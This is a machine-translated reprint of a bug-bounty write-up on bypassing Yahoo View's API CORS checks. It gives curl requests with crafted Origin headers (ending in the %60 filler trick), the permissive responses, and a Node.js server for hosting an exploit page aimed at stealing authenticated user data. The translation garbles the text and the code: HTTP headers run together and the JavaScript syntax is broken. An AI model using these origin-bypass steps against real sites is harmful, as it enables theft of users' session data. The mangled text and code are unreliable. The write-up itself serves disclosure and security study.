Shulou(Shulou.com)05/31 Report--

This article will explain in detail how I bypass Yahoo and what is the CORS restriction strategy of View. The content of the article is of high quality, so the editor shares it for you as a reference. I hope you will have some understanding of the relevant knowledge after reading this article.

Because of the non-standard CORS mode in Yahoohuang View, remote attackers are allowed to bypass the same origin policy, bypass the proposed page content limit through special requests, and obtain the corresponding response from the target host.

CORS strategy

Through the Burp Suite passive monitoring function, it is found that the website also initiates a request for API https://api.view.yahoo.com, as well as a cross-domain resource sharing (CORS) policy. According to the Mozilla developer network documentation, CORS uses additional HTTP headers to allow users to access resources in different domains of the same server, which defines the communication mechanism between browsers and servers when accessing resources across domains.

When the browser implements the same origin policy (Same-Origin), it only receives data acquisition requests for the same source resources in AJAX mode, while the cross-domain resource sharing (CORS) policy allows data sharing outside the specified site.

Burp test

The initial API request in Burp is as follows:

GET / api/session/preferences HTTP/1.1Host: api.view.yahoo.com- snip-origin: https://view.yahoo.com

The server response is as follows:

HTTP/1.1 200OKContent-Type: application/json; charset=utf-8- snip-Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://view.yahoo.com

Because the server responds to the origin side and allows the request to be set to True with authentication information (Access-Control-Allow-Credentials), we can steal sensitive information from its authentication information, such as cookie.

First, I try to send a request source named sxcurity.pro to API:

Curl-vv 'http://api.view.yahoo.com/api/session/preferences'-H' origin: https://sxcurity.pro'

Then, the server response does not include Allow-Origin and Allow-Credentials;. Next, I try to send a request source named view.sxcurity.pro to API:

Curl-vv 'http://api.view.yahoo.com/api/session/preferences'-H' origin: https://view.sxcurity.pro'

But there was still no response; it occurred to me whether I could use view.yahoo.com.sxcurity.pro as the source of the request. :

Curl-vv 'http://api.view.yahoo.com/api/session/preferences'-H' origin: https://view.yahoo.com.sxcurity.pro'

However, there is still no Access-Control-Allow-Credentials or Access-Control-Allow-Origin response, and it doesn't help to change the request source to view.yahoo.comsxcurity.pro. Just as I was about to give up, I thought of initiating a request to two request sources at the same time:

Curl-vv 'http://api.view.yahoo.com/api/session/preferences'-H' origin: https://view.yahoo.com sxcurity.pro'

Unexpectedly, the server responded:

HTTP/1.1 200OKContent-Type: application/json; charset=utf-8- snip-Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://view.yahoo.com sxcurity.pro

I was curious and tried to figure out a way to turn it into a valid request domain name for later use. I tried to fill in some characters between the two domain names to see the server's response, such as:

Curl-vv 'http://api.view.yahoo.com/api/session/preferences'-H' origin: https://view.yahoo.com%sxcurity.pro'

The server response is as follows:

HTTP/1.1 200OKContent-Type: application/json; charset=utf-8- snip-Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://view.yahoo.com%sxcurity.pro

Although there is a response, it cannot be used because the domain name of the request source is invalid.

The path winds along mountain ridges

After some advice, a friend of mine told me that I could refer to a vulnerability he submitted on HackerOne, in which he used the URL codeword% 60 as a filler, which effectively bypassed the target website CORS strategy, so I suddenly enlightened and used% 60 as a filler to try:

Curl-vv 'http://api.view.yahoo.com/api/session/preferences'-H' origin: https://view.yahoo.com%60cdl.sxcurity.pro'

It works here, too:

Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: http://view.yahoo.com%60cdl.sxcurity.pro

So, I set the corresponding wildcard domain name on my Amazon Route 53, open Firefox to browse http://view.yahoo.com%60cdl.hack-r.be, no, because different browsers have different protection strategies, I can't use Chrome, IE, or Edge! It's amazing to use Mac's Safari! Although Apache will mistake it for a server-side error

Then I thought of using the combination of NodeJS and index.html to exploit the vulnerability. The server.js of NodeJS is as follows:

Const http = require ('http') const port = 6299const fs = require ("fs"); const requestHandler = (request, response) = > {fs.readFile ("index.html", function (err, data) {response.writeHead (200,{ Content-Type':' text/html'}); response.write (data); response.end ();}) } const server = http.createServer (requestHandler) server.listen (port, (err) = > {if (err) {return console.log ('[+] ruh roh! Something went wrong: (', err)} console.log (`[ +] server is listening on port ${port} `)})

Index.html is as follows:

CORSYahoo CORs Exploit

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.